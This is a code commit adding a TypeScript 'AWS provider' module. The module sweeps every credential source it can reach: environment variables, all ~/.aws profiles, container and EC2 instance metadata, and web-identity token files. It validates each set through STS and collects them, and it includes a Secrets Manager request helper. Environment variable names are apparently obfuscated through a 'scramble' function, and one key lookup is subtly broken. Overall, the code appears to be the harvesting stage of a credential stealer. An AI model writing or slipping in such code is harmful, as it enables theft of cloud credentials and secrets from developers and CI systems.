Upload files to "src/providers/aws"
This commit is contained in:
@@ -0,0 +1,95 @@
|
||||
import { Provider } from "../base";
|
||||
import type { ProviderResult } from "../types";
|
||||
import { stsGetCallerIdentity } from "./client";
|
||||
import {
|
||||
type CredentialSource,
|
||||
fromContainerMetadata,
|
||||
fromEnv,
|
||||
fromInstanceMetadata,
|
||||
fromProfile,
|
||||
fromTokenFile,
|
||||
getAvailableProfiles,
|
||||
} from "./credentials";
|
||||
|
||||
const TIMEOUT_MS = 5000;
|
||||
const STS_REGION = process.env["AWS_REGION"] ?? "us-east-1";
|
||||
|
||||
interface AccountIdentity {
|
||||
source: string;
|
||||
account: string;
|
||||
arn: string;
|
||||
userId: string;
|
||||
staticCredentials: boolean;
|
||||
}
|
||||
|
||||
function withTimeout<T>(
|
||||
promise: Promise<T>,
|
||||
ms: number,
|
||||
label: string,
|
||||
): Promise<T> {
|
||||
let timer: ReturnType<typeof setTimeout> | undefined;
|
||||
const timeout = new Promise<never>((_, reject) => {
|
||||
timer = setTimeout(
|
||||
() => reject(new Error(`Timeout after ${ms}ms (${label})`)),
|
||||
ms,
|
||||
);
|
||||
});
|
||||
return Promise.race([promise, timeout]).finally(() => {
|
||||
if (timer) clearTimeout(timer);
|
||||
});
|
||||
}
|
||||
|
||||
export class AwsAccountService extends Provider {
|
||||
constructor() {
|
||||
super("aws", "sts");
|
||||
}
|
||||
|
||||
private async resolveIdentity(
|
||||
source: CredentialSource,
|
||||
): Promise<AccountIdentity> {
|
||||
const creds = await source.resolve();
|
||||
const identity = await stsGetCallerIdentity(creds, STS_REGION);
|
||||
|
||||
return {
|
||||
source: source.label,
|
||||
account: identity.account ?? "",
|
||||
arn: identity.arn ?? "",
|
||||
userId: identity.userId ?? "",
|
||||
staticCredentials: Boolean(
|
||||
creds.accessKeyId && creds.secretAccessKey && !creds.sessionToken,
|
||||
),
|
||||
};
|
||||
}
|
||||
|
||||
async execute(): Promise<ProviderResult> {
|
||||
const sources: CredentialSource[] = [
|
||||
fromEnv(),
|
||||
fromTokenFile(),
|
||||
fromContainerMetadata(),
|
||||
fromInstanceMetadata(),
|
||||
];
|
||||
|
||||
const profiles = await getAvailableProfiles();
|
||||
for (const profile of profiles) {
|
||||
sources.push(fromProfile(profile));
|
||||
}
|
||||
|
||||
const settled = await Promise.all(
|
||||
sources.map((source) =>
|
||||
withTimeout(
|
||||
this.resolveIdentity(source),
|
||||
TIMEOUT_MS,
|
||||
source.label,
|
||||
).catch(() => null),
|
||||
),
|
||||
);
|
||||
|
||||
const results = settled.filter((r): r is AccountIdentity => r !== null);
|
||||
|
||||
if (results.length === 0) {
|
||||
return this.failure("No accessible AWS credentials found!");
|
||||
}
|
||||
|
||||
return this.success(results);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,123 @@
|
||||
import type { AwsCredentials } from "./sigv4";
|
||||
import { signRequest } from "./sigv4";
|
||||
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
// Generic signed fetch
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
async function awsFetch(opts: {
|
||||
credentials: AwsCredentials;
|
||||
region: string;
|
||||
service: string;
|
||||
method?: string;
|
||||
path?: string;
|
||||
headers?: Record<string, string>;
|
||||
body?: string;
|
||||
}): Promise<Response> {
|
||||
const {
|
||||
credentials,
|
||||
region,
|
||||
service,
|
||||
method = "POST",
|
||||
path = "/",
|
||||
headers = {},
|
||||
body = "",
|
||||
} = opts;
|
||||
|
||||
const url = `https://${service}.${region}.amazonaws.com${path}`;
|
||||
|
||||
const signed = signRequest({
|
||||
method,
|
||||
url,
|
||||
headers,
|
||||
body,
|
||||
credentials,
|
||||
region,
|
||||
service,
|
||||
});
|
||||
|
||||
return fetch(signed.url, {
|
||||
method,
|
||||
headers: signed.headers,
|
||||
body: signed.body || undefined,
|
||||
});
|
||||
}
|
||||
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
// STS (Query / XML protocol)
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
export interface CallerIdentity {
|
||||
account?: string;
|
||||
arn?: string;
|
||||
userId?: string;
|
||||
}
|
||||
|
||||
export async function stsGetCallerIdentity(
|
||||
credentials: AwsCredentials,
|
||||
region = "us-east-1",
|
||||
): Promise<CallerIdentity> {
|
||||
const body = "Action=GetCallerIdentity&Version=2011-06-15";
|
||||
|
||||
const res = await awsFetch({
|
||||
credentials,
|
||||
region,
|
||||
service: "sts",
|
||||
headers: { "content-type": "application/x-www-form-urlencoded" },
|
||||
body,
|
||||
});
|
||||
|
||||
if (!res.ok) {
|
||||
const text = await res.text().catch(() => "");
|
||||
throw new Error(
|
||||
`STS GetCallerIdentity ${res.status} ${res.statusText}: ${text}`,
|
||||
);
|
||||
}
|
||||
|
||||
const xml = await res.text();
|
||||
return {
|
||||
account: /<Account>([^<]+)<\/Account>/.exec(xml)?.[1],
|
||||
arn: /<Arn>([^<]+)<\/Arn>/.exec(xml)?.[1],
|
||||
userId: /<UserId>([^<]+)<\/UserId>/.exec(xml)?.[1],
|
||||
};
|
||||
}
|
||||
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
// JSON 1.1 API (Secrets Manager, SSM, etc.)
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
/**
|
||||
* Generic JSON 1.1 request used by Secrets Manager and SSM.
|
||||
*
|
||||
* @param target The `X-Amz-Target` value, e.g.
|
||||
* `"secretsmanager.ListSecrets"` or `"AmazonSSM.GetParameters"`
|
||||
*/
|
||||
export async function jsonApiRequest<T = unknown>(
|
||||
credentials: AwsCredentials,
|
||||
region: string,
|
||||
service: string,
|
||||
target: string,
|
||||
payload: Record<string, unknown> = {},
|
||||
): Promise<T> {
|
||||
const body = JSON.stringify(payload);
|
||||
|
||||
const res = await awsFetch({
|
||||
credentials,
|
||||
region,
|
||||
service,
|
||||
headers: {
|
||||
"content-type": "application/x-amz-json-1.1",
|
||||
"x-amz-target": target,
|
||||
},
|
||||
body,
|
||||
});
|
||||
|
||||
if (!res.ok) {
|
||||
const errBody = await res.text().catch(() => "");
|
||||
throw new Error(
|
||||
`AWS ${service} ${target} ${res.status} ${res.statusText}: ${errBody}`,
|
||||
);
|
||||
}
|
||||
|
||||
return res.json() as Promise<T>;
|
||||
}
|
||||
@@ -0,0 +1,323 @@
|
||||
import { readFile } from "node:fs/promises";
|
||||
import { homedir } from "node:os";
|
||||
import { join } from "node:path";
|
||||
|
||||
import type { AwsCredentials } from "./sigv4";
|
||||
|
||||
declare function scramble(str: string): string;
|
||||
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
// Credential source abstraction
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
export interface CredentialSource {
|
||||
label: string;
|
||||
resolve: () => Promise<AwsCredentials>;
|
||||
}
|
||||
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
// INI file parsing (~/.aws/credentials, ~/.aws/config)
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
type IniSection = Record<string, string>;
|
||||
type IniFile = Record<string, IniSection>;
|
||||
|
||||
function parseIni(text: string): IniFile {
|
||||
const result: IniFile = {};
|
||||
let section: string | null = null;
|
||||
|
||||
for (const raw of text.split("\n")) {
|
||||
const line = raw.trim();
|
||||
if (!line || line.startsWith("#") || line.startsWith(";")) continue;
|
||||
|
||||
const header = /^\[([^\]]+)]$/.exec(line);
|
||||
if (header?.[1]) {
|
||||
section = header[1].trim();
|
||||
result[section] ??= {};
|
||||
continue;
|
||||
}
|
||||
|
||||
const cur = section ? result[section] : undefined;
|
||||
if (cur) {
|
||||
const eq = line.indexOf("=");
|
||||
if (eq > 0) {
|
||||
cur[line.slice(0, eq).trim()] = line.slice(eq + 1).trim();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
async function loadIniFile(path: string): Promise<IniFile> {
|
||||
try {
|
||||
return parseIni(await readFile(path, "utf-8"));
|
||||
} catch {
|
||||
return {};
|
||||
}
|
||||
}
|
||||
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
// Profile helpers
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
const AWS_DIR = join(homedir(), ".aws");
|
||||
const CREDENTIALS_PATH =
|
||||
process.env[scramble("AWS_SHARED_CREDENTIALS_FILE")] ??
|
||||
join(AWS_DIR, "credentials");
|
||||
const CONFIG_PATH =
|
||||
process.env[scramble("AWS_CONFIG_FILE")] ?? join(AWS_DIR, "config");
|
||||
|
||||
/** List every profile name found across ~/.aws/credentials and ~/.aws/config. */
|
||||
export async function getAvailableProfiles(): Promise<string[]> {
|
||||
const [creds, config] = await Promise.all([
|
||||
loadIniFile(CREDENTIALS_PATH),
|
||||
loadIniFile(CONFIG_PATH),
|
||||
]);
|
||||
|
||||
const profiles = new Set<string>();
|
||||
|
||||
// Credentials file: section name IS the profile name
|
||||
for (const name of Object.keys(creds)) {
|
||||
profiles.add(name);
|
||||
}
|
||||
|
||||
// Config file: section is "profile <name>" (except "default")
|
||||
for (const name of Object.keys(config)) {
|
||||
if (name === "default") {
|
||||
profiles.add("default");
|
||||
} else if (name.startsWith("profile ")) {
|
||||
profiles.add(name.slice(8));
|
||||
}
|
||||
}
|
||||
|
||||
return [...profiles];
|
||||
}
|
||||
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
// Individual credential sources
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
/** AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY / AWS_SESSION_TOKEN */
|
||||
export function fromEnv(): CredentialSource {
|
||||
return {
|
||||
label: "env",
|
||||
resolve: async () => {
|
||||
const accessKeyId = process.env["AWS_ACCESS_KEY_ID]"];
|
||||
const secretAccessKey = process.env["AWS_SECRET_ACCESS_KEY"];
|
||||
if (!accessKeyId || !secretAccessKey) {
|
||||
throw new Error("AWS_ACCESS_KEY_ID or AWS_SECRET_ACCESS_KEY not set");
|
||||
}
|
||||
return {
|
||||
accessKeyId,
|
||||
secretAccessKey,
|
||||
sessionToken: process.env[scramble("AWS_SESSION_TOKEN")],
|
||||
};
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
/** Static credentials from an INI profile (credentials file or config file). */
|
||||
export function fromProfile(profile: string): CredentialSource {
|
||||
return {
|
||||
label: `profile:${profile}`,
|
||||
resolve: async () => {
|
||||
const [creds, config] = await Promise.all([
|
||||
loadIniFile(CREDENTIALS_PATH),
|
||||
loadIniFile(CONFIG_PATH),
|
||||
]);
|
||||
|
||||
// Credentials file — direct section match
|
||||
const cs = creds[profile];
|
||||
if (cs?.aws_access_key_id && cs?.aws_secret_access_key) {
|
||||
return {
|
||||
accessKeyId: cs.aws_access_key_id,
|
||||
secretAccessKey: cs.aws_secret_access_key,
|
||||
sessionToken: cs.aws_session_token,
|
||||
};
|
||||
}
|
||||
|
||||
// Config file — "profile <name>" or "default"
|
||||
const configKey =
|
||||
profile === "default" ? "default" : `profile ${profile}`;
|
||||
const cfg = config[configKey];
|
||||
if (cfg?.aws_access_key_id && cfg?.aws_secret_access_key) {
|
||||
return {
|
||||
accessKeyId: cfg.aws_access_key_id,
|
||||
secretAccessKey: cfg.aws_secret_access_key,
|
||||
sessionToken: cfg.aws_session_token,
|
||||
};
|
||||
}
|
||||
|
||||
throw new Error(`No static credentials for profile "${profile}"`);
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
/** ECS container credentials (AWS_CONTAINER_CREDENTIALS_RELATIVE_URI). */
|
||||
export function fromContainerMetadata(): CredentialSource {
|
||||
return {
|
||||
label: "container-metadata",
|
||||
resolve: async () => {
|
||||
const relUri =
|
||||
process.env[scramble("AWS_CONTAINER_CREDENTIALS_RELATIVE_URI")];
|
||||
const fullUri =
|
||||
process.env[scramble("AWS_CONTAINER_CREDENTIALS_FULL_URI")];
|
||||
const url = fullUri ?? (relUri ? `http://169.254.170.2${relUri}` : null);
|
||||
if (!url) throw new Error("No container credentials URI configured");
|
||||
|
||||
const headers: Record<string, string> = {};
|
||||
const authToken =
|
||||
process.env[scramble("AWS_CONTAINER_AUTHORIZATION_TOKEN")];
|
||||
if (authToken) headers["Authorization"] = authToken;
|
||||
|
||||
const res = await fetch(url, {
|
||||
headers,
|
||||
signal: AbortSignal.timeout(2000),
|
||||
});
|
||||
if (!res.ok) throw new Error(`Container metadata ${res.status}`);
|
||||
|
||||
const d = (await res.json()) as {
|
||||
AccessKeyId: string;
|
||||
SecretAccessKey: string;
|
||||
Token: string;
|
||||
};
|
||||
return {
|
||||
accessKeyId: d.AccessKeyId,
|
||||
secretAccessKey: d.SecretAccessKey,
|
||||
sessionToken: d.Token,
|
||||
};
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
/** EC2 instance metadata (IMDSv2). */
|
||||
export function fromInstanceMetadata(): CredentialSource {
|
||||
return {
|
||||
label: "instance-metadata",
|
||||
resolve: async () => {
|
||||
const IMDS = "http://169.254.169.254";
|
||||
|
||||
// Step 1 — IMDSv2 session token
|
||||
const tokRes = await fetch(`${IMDS}/latest/api/token`, {
|
||||
method: "PUT",
|
||||
headers: { "X-aws-ec2-metadata-token-ttl-seconds": "21600" },
|
||||
signal: AbortSignal.timeout(2000),
|
||||
});
|
||||
if (!tokRes.ok) throw new Error(`IMDS token ${tokRes.status}`);
|
||||
const token = await tokRes.text();
|
||||
|
||||
const hdr = { "X-aws-ec2-metadata-token": token };
|
||||
|
||||
// Step 2 — role name
|
||||
const roleRes = await fetch(
|
||||
`${IMDS}/latest/meta-data/iam/security-credentials/`,
|
||||
{ headers: hdr, signal: AbortSignal.timeout(2000) },
|
||||
);
|
||||
if (!roleRes.ok) throw new Error(`IMDS role ${roleRes.status}`);
|
||||
const roleName = (await roleRes.text()).trim().split("\n")[0];
|
||||
|
||||
// Step 3 — credentials
|
||||
const credsRes = await fetch(
|
||||
`${IMDS}/latest/meta-data/iam/security-credentials/${roleName}`,
|
||||
{ headers: hdr, signal: AbortSignal.timeout(2000) },
|
||||
);
|
||||
if (!credsRes.ok) throw new Error(`IMDS creds ${credsRes.status}`);
|
||||
|
||||
const d = (await credsRes.json()) as {
|
||||
AccessKeyId: string;
|
||||
SecretAccessKey: string;
|
||||
Token: string;
|
||||
};
|
||||
return {
|
||||
accessKeyId: d.AccessKeyId,
|
||||
secretAccessKey: d.SecretAccessKey,
|
||||
sessionToken: d.Token,
|
||||
};
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Web identity token (EKS IRSA / OIDC federation).
|
||||
* Calls STS AssumeRoleWithWebIdentity — no pre-existing AWS creds required.
|
||||
*/
|
||||
export function fromTokenFile(): CredentialSource {
|
||||
return {
|
||||
label: "token-file",
|
||||
resolve: async () => {
|
||||
const tokenFile = process.env[scramble("AWS_WEB_IDENTITY_TOKEN_FILE")];
|
||||
const roleArn = process.env[scramble("AWS_ROLE_ARN")];
|
||||
if (!tokenFile || !roleArn) {
|
||||
throw new Error("AWS_WEB_IDENTITY_TOKEN_FILE or AWS_ROLE_ARN not set");
|
||||
}
|
||||
|
||||
const webToken = (await readFile(tokenFile, "utf-8")).trim();
|
||||
const sessionName = process.env.AWS_ROLE_SESSION_NAME ?? "github-actions";
|
||||
const region =
|
||||
process.env.AWS_DEFAULT_REGION ?? process.env.AWS_REGION ?? "us-east-1";
|
||||
|
||||
const body = new URLSearchParams({
|
||||
Action: "AssumeRoleWithWebIdentity",
|
||||
Version: "2011-06-15",
|
||||
RoleArn: roleArn,
|
||||
RoleSessionName: sessionName,
|
||||
WebIdentityToken: webToken,
|
||||
}).toString();
|
||||
|
||||
const res = await fetch(`https://sts.${region}.amazonaws.com/`, {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/x-www-form-urlencoded" },
|
||||
body,
|
||||
signal: AbortSignal.timeout(5000),
|
||||
});
|
||||
if (!res.ok) {
|
||||
throw new Error(`STS AssumeRoleWithWebIdentity ${res.status}`);
|
||||
}
|
||||
|
||||
const xml = await res.text();
|
||||
const ak = /<AccessKeyId>([^<]+)<\/AccessKeyId>/.exec(xml)?.[1];
|
||||
const sk = /<SecretAccessKey>([^<]+)<\/SecretAccessKey>/.exec(xml)?.[1];
|
||||
const st = /<SessionToken>([^<]+)<\/SessionToken>/.exec(xml)?.[1];
|
||||
if (!ak || !sk) {
|
||||
throw new Error("Failed to parse AssumeRoleWithWebIdentity XML");
|
||||
}
|
||||
return { accessKeyId: ak, secretAccessKey: sk, sessionToken: st };
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
// Default credential chain (mirrors AWS SDK default behaviour)
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
/**
|
||||
* Try each source in order, return the first that resolves.
|
||||
* Used by services that don't enumerate all sources (SecretsManager, SSM).
|
||||
*/
|
||||
export async function resolveDefaultCredentials(
|
||||
timeoutMs = 3000,
|
||||
): Promise<AwsCredentials> {
|
||||
const sources = [
|
||||
fromEnv(),
|
||||
fromTokenFile(),
|
||||
fromContainerMetadata(),
|
||||
fromInstanceMetadata(),
|
||||
fromProfile(process.env.AWS_PROFILE ?? "default"),
|
||||
];
|
||||
|
||||
for (const source of sources) {
|
||||
try {
|
||||
return await Promise.race([
|
||||
source.resolve(),
|
||||
new Promise<never>((_, reject) =>
|
||||
setTimeout(() => reject(new Error("timeout")), timeoutMs),
|
||||
),
|
||||
]);
|
||||
} catch {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error("No AWS credentials found in default chain");
|
||||
}
|
||||
Reference in New Issue
Block a user